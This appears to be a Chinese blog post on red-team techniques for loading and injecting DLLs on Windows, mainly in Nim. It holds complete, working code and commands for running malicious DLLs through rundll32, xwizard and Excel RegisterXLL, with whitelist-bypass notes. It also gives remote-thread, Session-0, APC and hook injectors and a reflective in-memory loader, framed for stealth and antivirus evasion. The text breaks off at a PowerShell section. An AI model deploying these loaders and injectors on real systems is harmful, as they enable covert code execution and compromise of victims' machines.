这篇文章发表于 581 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

本文主要介绍一些基本的dll加载运行的方法,并以nim为主语言实现相关功能。

本文的编程语言主要使用windows上的nim(1.4),辅以C++和C#,另外主要的IDE就用vscode凑合了。这种语言非常强大(不吹不黑,请自行感受我给的以下这些例子),而且适合红队工具的开发。这篇文章如果直接看是非常容易失去耐心的,建议结合其他一些相关内容的文章慢慢来。我自己学习整理研究花了整整六天的时间,同样快失去耐心了233。

相关代码已经放在了我的github仓库里。如果您需要编些不友善的东西并且没有合适环境的话(windows一些时候报毒很心烦…),可以先看看docker环境该如何配置,然后在linux环境里进行跨平台编译再进行转移与测试。

使用nim语言生成dll

如果您有其他好方法,这部分可以直接跳过,但是了解下nim生成dll的代码还是挺有意思的。以下nim代码就是实现在windows上弹出一个小计算器的dll文件,命名为malicious.dll。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import winim/lean
import osproc

proc NimMain() {.cdecl, importc.}

proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} =
NimMain()

if fdwReason == DLL_PROCESS_ATTACH:
let command = "/r" & " C:/windows/system32/calc.exe"
discard execProcess("cmd", args=[command], options={poUsePath})
return true

# nim c -d=mingw --app=lib --nomain --cpu=amd64 malicious.nim 或者 nim c --app=lib --nomain malicious.nim

这里继续给个例子,也是弹个小计算器的代码,以下内容生成的dll文件命名为new_malicious.dll。由于它的入口点没有被指定,所以在编译的时候需要去掉参数--nomain,也就使用了默认的入口点。而且它还必须指定对应的内部函数地址才能够被调用。

1
2
3
4
5
6
7
8
9
10
import osproc

{.push dynlib exportc.}

proc popCalc*(): void {.stdcall, exportc, dynlib.} =
let command = "/r" & " C:/windows/system32/calc.exe"
discard execProcess("cmd", args=[command], options={poUsePath})

{.pop.}
# nim c -d=mingw --app=lib --cpu=amd64 new_malicious.nim 或者 nim c --app=lib new_malicious.nim

之后的内容主要就是要加载这两个dll文件其中之一,使之弹出计算器。这两个dll文件命名有区别,请注意辨别。

dll加载运行的各种姿势

这里主要介绍dll文件落地加载的一些方法,仅仅是冰山一角。后面提及的内存反射加载难度较大,可以先看.NET的反射攻击以促进理解。

一句话直接被调用运行

对于以上通过nim生成的dll文件以及利用cobaltstrike等工具直接生成的恶意dll文件,如何运行一条命令实现攻击?

1、C:/Windows/System32/rundll32.exe

可以直接在受害者电脑上使用rundll32.exe malicious.dll Start命令完成攻击。

检测rundll32.exe是否被注入可以使用此命令:wmic process where caption="rundll32.exe" get caption,commandline /value;若dll注入到其他进程,可使用tasklist /m malicious.dll来查看(若注入到系统进程中,结束它可能导致不稳定情况出现)。

2、C:/Windows/System/xwizard.exe

将xwizard.exe复制到和malicious.dll同级的文件夹中,然后将malicious.dll更名为xwizards.dll,之后只需执行xwizard processXMLFile 1.txt或者xwizard RunWizard /u {11111111-1111-1111-1111-111111111111}或者xwizard RunPropertySheet /u {11111111-1111-1111-1111-111111111111}这三类命令即可运行。

由于xwizards.dll包含了微软的签名,从一定程度上能够绕过应用程序白名单的拦截。

3、Excel.Application object’s RegisterXLL()

这里的原理都是通过调用Office中软件中的RegisterXLL函数实现的,但是操作方式略有不同。部分方法容易被杀软拦截。

方法一:rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:/Users/user/Desktop/malicious.dll');this.close();

方法二:将以下代码保存为malicious.js后,运行cscript malicious.js

1
2
var excel = new ActiveXObject("Excel.Application");
excel.RegisterXLL("C:/Users/user/Desktop/malicious.dll")

方法三:运行以下powershell代码。

1
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"));$excel.RegisterXLL("C:/Users/user/Desktop/malicious.dll")

具体的操作其作者3gstudent写了很多内容,这部分可以结合钓鱼攻击完成。

利用程序直接调用执行

没错,通过程序直接调用。。。以下是直接调用该dll文件的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import dynlib

type
PopCalc = proc(): void {.nimcall.}

proc execDll(path:string) =
echo "[*] Start executing the function in dll ... "
let lib = loadLib(path)
if lib != nil:
var pAddr = lib.symAddr("popCalc")
if pAddr != nil:
var popCalc = cast[PopCalc](pAddr)
popCalc()
echo "[+] Succeeded"
unloadLib(lib)

when isMainModule:
execDll("C:/users/user/desktop/new_malicious.dll")
# nim c -r exec.nim

如果你想用C#来对new_malicious.dll进行调用的话,建议参考这篇文章,这里不再赘述。

注入到另一个进程中

一般来讲,dll注入是向一个正在运行的进程插入/注入dll中相关代码的过程。这部分内容比较多,根据网上整理的内容,我这里分为远程线程注入APC注入劫持进程创建注入消息钩子注入

1、远程线程注入

通过开启远程线程的方式,将dll加载到目标宿主进程中的常用方式。一般来说能够用来修复程序BUG,也可以用来加载恶意dll文件。

该方法的原理主要是使其他进程LoadLibrary函数地址暴露,能够调用指定路径的dll文件,将LoadLibrary函数地址和dll路径字符串作为CreateRemoteThread的参数,创建一个多线程,随后在LoadLibrary()结束后进入到dll文件中的DLLMain()函数并执行相关代码。

一般分为四步注入dll文件:调用VirtualAllocEx函数在目标进程空间中申请一块内存;再调用WriteProcessMemory函数将dll的绝对路径写到刚申请的内存中;找到Kernel32下的加载基地址(部分系统dll在开机后的加载基地址在所有进程中都不变,比如kernel32.dll);根据找到的相关地址作为参数,使用CreateRemoteThread函数创建一个在其它进程地址空间中运行的线程。

以notepad.exe为例,具体代码实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import winim/lean 
import osproc

proc injectCreateRemoteThread(dllPath: string): void =
let dwSize = cast[SIZE_T](dllPath.len)
let newProcess = startProcess("notepad.exe");
#newProcess.suspend() # 解除注释后notepad弹窗就会消失
defer: newProcess.close()
# 在该进程结束后退出
echo "[*] Injecting: ", dllPath
echo "[*] Target Process: ", newProcess.processID
Sleep(500)

# 打开刚创建的进程
let pHandle = OpenProcess(
PROCESS_ALL_ACCESS,
false,
cast[DWORD](newProcess.processID)
)
defer: CloseHandle(pHandle)
echo "[*] pHandle: ", pHandle

# 为即将注入dll的路径在目标进程空间中申请一块内存
let pDllAddr = VirtualAllocEx(
pHandle,
NULL,
dwSize,
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)

var bytesWritten: SIZE_T
# 将dll的绝对路径写到刚申请的内存中
let wSuccess = WriteProcessMemory(
pHandle,
pDllAddr,
dllPath.cstring,
dwSize,
addr bytesWritten
)
echo "[*] WriteProcessMemory: ", bool(wSuccess)
echo " \\-- bytes written: ", bytesWritten
echo ""

# 以下三种方法都是为了找到kernel32加载基地址
# 法一:
#let pFuncProcAddr = GetProcAddress(
# GetModuleHandleA("Kernel32"),
# "LoadLibraryA"
#)
##var loadLibraryAddress = cast[LPVOID](GetProcAddress(GetModuleHandle(r"kernel32.dll"), r"LoadLibraryA"))
# 法二: 需要在之前import dynlib
#let kernel = loadLib("kernel32") # kernel: LibHandle
#if isNil(kernel):
# echo "[X] Failed to load kernel32.dll"
#let pFuncProcAddr = kernel.symaddr("LoadLibraryA")
# 法三:
let pFuncProcAddr = LoadLibraryA
echo "[*] Find kernel32 addr: ", if NULL == pFuncProcAddr: false else: true
echo ""

# 使用CreateRemoteThread函数创建一个在其它进程地址空间中运行的线程
let tHandle = CreateRemoteThread(
pHandle,
NULL,
0,
cast[LPTHREAD_START_ROUTINE](pFuncProcAddr),
pDllAddr,
0,
NULL
)
defer: CloseHandle(tHandle)

echo "[*] tHandle: ", tHandle
echo "[+] Injected"

when isMainModule:
var file = "C:/users/user/desktop/malicious.dll"
injectCreateRemoteThread(file)
# nim c -r proc_inj_createremotethread.nim
# 如果想尽可能减少其大小, nim c -d:mingw -d:release -d:strip --opt:size --passc=-flto --passl=-flto --cpu=amd64 exec.nim

nim脚本相对于那些cpp文件来说是不是在思路呈现上更加漂亮?更有趣的还在后面。

另外,在注入过程中可能会遇到失败的情况,可能是权限不足的问题,也可能是以上脚本并不能够突破SESSION 0隔离的限制,也就是说我们没法用它注入到系统进程中去,相对来说不够隐蔽。但想要突破SESSION 0隔离只需要将CreateThreadEx函数替换为ZwCreateThreadEx函数即可,原理和以上脚本基本一致,但是代码上需要用到其他的trick。

ZwCreateThreadEx函数位于ntdll.dll中,但在ntdll.dll中并没有申明(其实这是Windows的Native API,由于每个版本的windows中的Native API很可能会有较大的差异,不便于开发,因此微软并没有将其公开,一般需要逆向才能够了解这种函数调用),所以需要通过使用GetProcAddress从ntdll.dll中获取该函数的导出地址。使用ZwCreateThreadEx具体的方法如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
### proc_inj_session0.nim内容
import winim/lean
import osproc
import ./zwcreatethreadex_cpplike

proc myFunc(procHandle: HANDLE, covPFuncProcAddr: LPTHREAD_START_ROUTINE, pDllAddr: LPVOID) {.header: "ZwCreateThread.h", importcpp: "$1(@)".}

proc injectCreateRemoteThread(dllPath: string): void =
let dwSize = cast[SIZE_T](dllPath.len)
let newProcess = startProcess("notepad.exe");
#newProcess.suspend() # 解除注释后notepad弹窗就会消失
defer: newProcess.close()
# 在该进程结束后退出
echo "[*] Injecting: ", dllPath
echo "[*] Target Process: ", newProcess.processID

Sleep(500)
let procHandle = OpenProcess(
PROCESS_ALL_ACCESS,
false,
cast[DWORD](newProcess.processID)
)
defer: CloseHandle(procHandle)
echo "[*] pHandle: ", procHandle

let pDllAddr = VirtualAllocEx(
procHandle,
NULL,
dwSize,
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)

var bytesWritten: SIZE_T
let wSuccess = WriteProcessMemory(
procHandle,
pDllAddr,
dllPath.cstring,
dwSize,
addr bytesWritten
)
echo "[*] WriteProcessMemory: ", bool(wSuccess)
echo " \\-- bytes written: ", bytesWritten
echo ""

let pFuncProcAddr = LoadLibraryA
echo "[*] Find kernel32 addr: ", if NULL == pFuncProcAddr: false else: true
echo ""

echo "[*] Try ZwCreateThreadEx ... "
myFunc(procHandle, cast[LPTHREAD_START_ROUTINE](pFuncProcAddr), pDllAddr)
echo "[+] Injected"

when isMainModule:
var file = "C:/users/user/desktop/malicious.dll"
injectCreateRemoteThread(file)

##########################################################################
### ZwCreaeteThread.h内容 (这个头文件可能写法不好?但是这是我目前所能找到的不报错方案)
#include <windef.h>
#include <MSCorEE.h>
void myFunc(HANDLE, LPTHREAD_START_ROUTINE, LPVOID);

##########################################################################
### zwcreatethreadex_cpplike.nim内容
{.emit:"""
#include <Windows.h>
#include <stdio.h>

#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif

// myFunc实质上就是找到并调用ZwCreateThreadEx函数
void myFunc(HANDLE PHandle, LPTHREAD_START_ROUTINE covPFuncProcAddr, LPVOID pDllAddr){
HANDLE hNtModule = GetModuleHandleA("ntdll.dll");
PHANDLE hRemoteThread;
typedef_ZwCreateThreadEx ZwCreateThreadEx = GetProcAddress(hNtModule, "ZwCreateThreadEx");
ZwCreateThreadEx(hRemoteThread, PROCESS_ALL_ACCESS, NULL, PHandle, covPFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
}
""".}

请将以上三段代码置于同一目录下,然后nim cpp -r proc_inj_session0.nim即可,这里最好是针对svchost.exe等系统服务进程进行测试,但可能会因为会话隔离无法显示窗体。这里的nim代码还调用了c++,轻轻松松完成了nim直接难以完成的任务——非常优雅的技巧。

2、APC注入

APC(Asynchronous Procedure Call)是异步过程调用,只函数再特定线程中被异步执行。在windows中,APC是一种并发机制,用于异步IO或者定时器,分为用户模式APC和内核模式APC(一个线程附带两个APC队列。这里谈论的就是用户模式下的注入。

APC函数一般不会去干扰(中断)线程的运行,只有当线程处于“可警告的线程等待状态”才会去调用(线程调用SleepExSignalObjectAndWaitWaitForSingleObjectExWaitForMultipleObjectsExMsgWaitForMultipleObjectsEx这些函数都可以使自身处于“可警告的线程等待状态”),调用的顺序为先入先出(FIFO)。

QueueUserAPC函数中的第一个参数LoadLibrary是APC函数的执行函数,APC函数一旦执行,就跳转到LoadLibrary函数地址开始执行;第二个参数hThread线程句柄,表示在这个线程中插入APC;第三个DllBaseAddress,是传递给执行函数的参数,即LoadLibrary(DllBaseAddress),就加载了dll文件。为了确保插入的APC能够被执行,最好向目标进程中所有线程都插入相同的APC来实现dll的加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
### proc_inj_APC.nim内容
import winim/lean
import osproc
import ./findallthreads_cpplike

var threadsArray {.noInit.}: seq[DWORD]
const
MEM_RESERVE = 0x2000
MEM_COMMIT = 0x1000

proc findAllThreads(PID: DWORD, size: BOOL): DWORD {.header: "findallthreads.h", importcpp: "$1(@)".}

# GetAllThreadsAsArray寻找所有关联线程id并将其放入nim的数组中,findAllThreads是对cpp的调用
proc GetAllThreadsAsArray(PID: DWORD): void =
let ThreadsNum = findAllThreads(PID, false)
echo "[*] This process has associate with ", cast[int](ThreadsNum), " threads. "
for i in 1..cast[int](ThreadsNum):
threadsArray.add(findAllThreads(PID, true))
#echo "[*] Thread", i, ": ", thread

proc injectAPC(dllPath: string): void =
let newProcess = startProcess("notepad.exe");
#newProcess.suspend() # 解除注释后notepad弹窗就会消失
defer: newProcess.close()
echo "[*] Injecting: ", dllPath
echo "[*] Target Process: ", newProcess.processID
Sleep(500)

GetAllThreadsAsArray(cast[DWORD](newProcess.processID))
echo ""

let procHandle = OpenProcess(
PROCESS_ALL_ACCESS,
false,
cast[DWORD](newProcess.processID)
)
defer: CloseHandle(procHandle)
echo "[*] pHandle: ", procHandle

let dwSize = cast[SIZE_T](dllPath.len)
let pDllAddr = VirtualAllocEx(
procHandle,
NULL,
dwSize,
MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READ_WRITE
)

var bytesWritten: SIZE_T
let wSuccess = WriteProcessMemory(
procHandle,
pDllAddr,
dllPath.cstring,
dwSize,
addr bytesWritten
)
echo "[*] WriteProcessMemory: ", bool(wSuccess)
echo " \\-- bytes written: ", bytesWritten
echo ""

let pFuncProcAddr = LoadLibraryA
echo "[*] Find kernel32 addr: ", if NULL == pFuncProcAddr: false else: true
echo ""

echo "[*] Now insert APC object for every thread ... "
var hThread: HANDLE
# 对所有的线程插入APC
for i in threadsArray:
hThread = ERROR_INVALID_HANDLE
hThread = OpenThread(
THREAD_ALL_ACCESS,
false,
cast[DWORD](i)
)
if (hThread != ERROR_INVALID_HANDLE):
echo "[*] Thread handle: ", i
QueueUserAPC(cast[PAPCFUNC](pFuncProcAddr), hThread, cast[ULONG_PTR](pDllAddr))
CloseHandle(hThread)
echo "[+] APC injection finished! "

when isMainModule:
var file = "C:/users/user/desktop/malicious.dll"
injectAPC(file)

##########################################################################
### findallthreads.h内容
#include <windef.h>
#include <vector>
//std::vector<DWORD> findAllThreads(DWORD);
DWORD findAllThreads(DWORD, BOOL);

##########################################################################
### findallthreads_cpplike.nim
{.emit: """
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include <vector>
//#include <tchar.h>
using namespace std;

vector<DWORD>Array;
int i = 0;

int findAllThreads(DWORD dwProcessId, BOOL size)
{
DWORD dwBufferLength = 1000;
THREADENTRY32 te32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = TRUE;

if (size)
return Array[i++];

// 获取线程快照
::RtlZeroMemory(&te32, sizeof(te32));
te32.dwSize = sizeof(te32);
hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
// 获取第一条线程快照信息
bRet = ::Thread32First(hSnapshot, &te32);
while (bRet){
// 获取进程对应的线程ID
if (te32.th32OwnerProcessID == dwProcessId){
//_tprintf( TEXT("\n THREAD ID = 0x%08X"), te32.th32ThreadID );
Array.push_back(te32.th32ThreadID);
}
// 遍历下一个线程快照信息
bRet = ::Thread32Next(hSnapshot, &te32);
}
return Array.size();
}
""".}

同样使用了一些trick,但是这个代码我非常不满意(nim和C++联动的时候貌似无法直接传std::vector这样的,一些地方改了还容易造成Out Of Memory错误),最后想出来的办法只能非常幼稚地挨个传参,我tcl。

3、SetWindowsHookEx全局钩子注入

主要利用了创建全局钩子的时候,钩子函数必须在一个dll文件上的特点(因为dll能够比较容易地加载到发生事件的进程地址空间中,正如上面所提及的)。操作步骤也非常简单,只需要调用SetWindowsHookEx函数即可,但要注意其中的参数类型,最后结束记得对钩子句柄使用UnhookWindowsHookEx以卸载钩子即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import winim/lean

# 回调函数,CallNextHookEx表示将当前钩子传递给钩子链中的下一个钩子
proc HookCallback(nCode: int32, wParam: WPARAM, lParam: LPARAM): LRESULT {.stdcall.} =
return CallNextHookEx(0, nCode, wParam, lParam)

proc setWindowsHookExInj(dllPath: string): void =
echo "[*] Injecting: ", dllPath
let myDll = LoadLibraryA(dllPath)

# 第三个参数指的是指向钩子过程的dll句柄(事实上,这个dll是我们控制的,未必要让它正常运行),第四个参数为0指钩子过程与系统中所有线程相关联
var hookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)HookCallback, myDll, 0)
echo "[+] Successfully inject in the process! "
Sleep(4000)
UnhookWindowsHookEx(hookHandle) # 卸载钩子

when isMainModule:
var file = "C:/users/user/desktop/malicious.dll"
setWindowsHookExInj(file)
# nim c proc_inj_sethook.nim

这个用在dll注入上面实在是杀鸡用牛刀,这里有个项目是利用SetWindowsHookEx函数键盘记录的,效果极佳。

内存反射注入

这个技术非常古老,但在目前已经是C2的标配技术了,可见其威力之大。

在描述具体原理前,先问个问题:是什么使得Reflective DLL Injection与众不同?

某回答(的中文翻译):之前的dll注入程序和dll文件是通过磁盘上的完整路径获得的,因而它不被认为是非常隐秘的方法,并且还具有外部依赖性(如果将其分开,则可能带来问题)。但这些问题可以通过使用Reflective DLL Injection来解决,它允许以原始数据的形式获取dll。为了能够将数据注入目标进程,我们必须像以前从Windows调用LoadLibrary函数时一样,手动解析二进制文件并将其映射到虚拟内存中——其效果就是让dll文件以更加隐蔽的方式被执行。

下面先说明程序实现的比较具体的操作流程(这篇文章这篇文章都是非常好的资料):

1、打开指定的dll文件,读取dll文件的字节内容并检查DOS和PE头。

2、在目标文件的PEHeader.OptionalHeader.ImageBase中指定的地址处分配PEHeader.OptionalHeader.SizeOfImage指定的字节。

3、解析节标题,然后根据IMAGE_SECTION_HEADER结构的VirtualAddress将每个节复制到步骤2中分配的内存块里。

4、实现映像重定位(首先找到重定位表的指针,它一般在.reloc节里面;在每个重定位块中获取所需重定位的数量;读取指定重定位地址中的字节;将增量,也就是原地址与目标ImageBase地址间的差距,应用于重定位地址中指定的值;将新值写入指定的重定位地址;重复以上操作,直到遍历整个重定位表)。

5、通过(IAT,导入地址表,一般能够查找到运行时调用的函数名称及其内存地址)加载相应的库来解决其他dll库的必需导入——需要将dll的所有从属库加载到当前进程中,并修复IAT以确保dll导入的函数指向当前进程内存空间中的正确函数地址(解析DLL标头和获取指向第一个导入描述符的指针;从描述符中获得指向导入的库名称的指针;然后使用LoadLibrary将库加载到当前进程中;重复此过程,直到遍历了所有导入描述文件并加载了所有依赖的dll库)。

6、使用标志DLL_PROCESS_ATTACH调用dll入口点(AddressOfEntryPoint)。

7、调用驻留在内存中的dll文件中的函数。

个人理解就是把真正的dll导入的过程重新模拟一遍(个人感觉其模拟出来的效果和C#里面的LoadFrom函数效果很相似),最后随手一调即可。

由于nim对内存分配这块能力比较弱(应该是我还不会用nim里面的一些tricks),这里只能非常遗憾地呈现下参考文章里的C++版本的demo程序(程序已做部分修改。其实有C++版本就能按照之前的方法移植个nim的版本,但多此一举,就不献丑了):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#include <Windows.h>
#include <stdio.h>

typedef struct BASE_RELOCATION_BLOCK {
DWORD PageAddress;
DWORD BlockSize;
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;

using DLLEntry = BOOL(WINAPI*)(HINSTANCE dll, DWORD reason, LPVOID reserved);

int main()
{
/////////////////////////////////////////

// 将dll文件读入到此进程的内存中
/////////////////////////////////////////
// 读取dll文件
HANDLE hdll = CreateFileA("C:/users/user/desktop/malicious.dll", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
DWORD64 dllSize = GetFileSize(hdll, NULL);
LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize);
ReadFile(hdll, dllBytes, dllSize, NULL, NULL);

// 解析dll的IMAGE_DOS_HEADER和IMAGE_NT_HEADERS并获取dll映像大小
PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes + dosHeaders->e_lfanew);
SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;

// 将dll的内容写入全新分配的内存空间中
LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 这里演示所要注入的程序就是本身,实战中肯定需要调整
WriteProcessMemory(GetCurrentProcess(), dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders, NULL);

// 开始对所有IMAGE_SECTION进行处理,根据增量挨个复制
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
{
LPVOID sectionDestination = (LPVOID)((DWORD_PTR)section->VirtualAddress + (DWORD_PTR)dllBase);
LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData);
WriteProcessMemory(GetCurrentProcess(), sectionDestination, sectionBytes, section->SizeOfRawData, NULL);
section++;
}
/////////////////////////////////////////

// 利用重定位表对内存地址进行修正
/////////////////////////////////////////
IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase;
DWORD relocationsProcessed = 0;

// 求出原地址到目标地址的增量
DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;

while (relocationsProcessed < relocations.Size)
{
PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);

for (DWORD i = 0; i < relocationsCount; i++)
{
relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);

if (relocationEntries[i].Type == 0)
{
continue;
}

DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
DWORD_PTR addressToPatch = 0;

// 根据增量对每块的内容进行转移
ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
addressToPatch += deltaImageBase;
WriteProcessMemory(GetCurrentProcess(), (PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
}
}
/////////////////////////////////////////

// 使用IAT的方法来挨个加载其他的、不是特别敏感的dll文件
/////////////////////////////////////////
IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
LPCSTR libraryName = "";
HMODULE library = NULL;

// 若存在其他需要加载的dll文件
while (importDescriptor->Name != NULL)
{
// 使用LoadLibrary函数来加载对应的dll文件(LoadLibrary是为了方便?不过这里一般也就加载些普通的dll文件吧,不敏感)

libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
library = LoadLibraryA(libraryName);

if (library)
{
// thunk是指向IAT的指针
PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(importDescriptor->FirstThunk + (DWORD_PTR)dllBase);

// 若存在需要导入的函数
while (thunk->u1.AddressOfData != NULL)
{
// 按照序数Ordinal导入相应函数
if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
{
LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
}
else
{
// 按照函数名称导入相应函数
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)(thunk->u1.AddressOfData + (DWORD_PTR)dllBase);
DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, (LPCSTR)functionName->Name);
//printf("IAT Resolving 0x%p -> 0x%p\n", thunk->u1.Function + (DWORD_PTR)dllBase ,functionAddress);
thunk->u1.Function = functionAddress;
}
++thunk;
}
}

importDescriptor++;
}
/////////////////////////////////////////

// 反射执行dll中的函数功能
/////////////////////////////////////////
DLLEntry DllEntry = (DLLEntry)(ntHeaders->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)dllBase);
(*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);

// 结束并释放
CloseHandle(hdll);
HeapFree(GetProcessHeap(), 0, dllBytes);
return 0;
}

如果您对以上内容还是不满意(没错我不满意(*  ̄︿ ̄) ,这里提供一个网站以便进一步研究。如果想真正应用于实战中,请可以参考下这个方案

execute-assembly执行

execute-assembly是用于内存执行C#可执行文件的常用手法,该方法需要用到.NET反射库(也就是System.Reflection命名空间,这里的反射和上面提到的反射在意义上个人认为是存在差异的)。以下利用的主要原理是:创建一个正常的进程;通过dll反射向进程注入dll文件;dll实现弹出计算器。如果dll是执行shellcode,那么shellcode中的函数内容就会在内存中被执行,比较隐蔽。但整个利用过程必须要用到dll注入,而且一般会用到mscoree.dll文件——这是一个特征。

0、准备.NET情况下的dll文件

这里主要用到的是.NET中的反射加载dll文件的方法,因此之前用nim编写的dll文件在这里并不适用。

于是这里利用了别人的C#程序来编全新的dll文件,也是用于弹出计算器的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
using System;
public class Program
{
public static void Main()
{
Console.WriteLine("Hey There From Main()");
//Add any behaviour here to throw off sandbox execution/analysts :)
}

}
public class aaa
{
public static void bbb()
{
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "C:\\windows\\system32\\calc.exe";
p.Start();
}
}
// C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe -target:library -out:NET.dll NET.cs
// C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe -target:library -out:NET.dll NET.cs

请注意:最后两条指令选取了.NET2.0和.NET4.0的情况,两种情况编译出来的dll文件可能会对后面的操作有一定的影响。

1、PowerShell脚本一句话加载

经过简单测试,以下三条示例命令都能够成功弹出计算器。而且在.NET2.0和.NET4.0版本编译而得来的dll文件均可行。

1
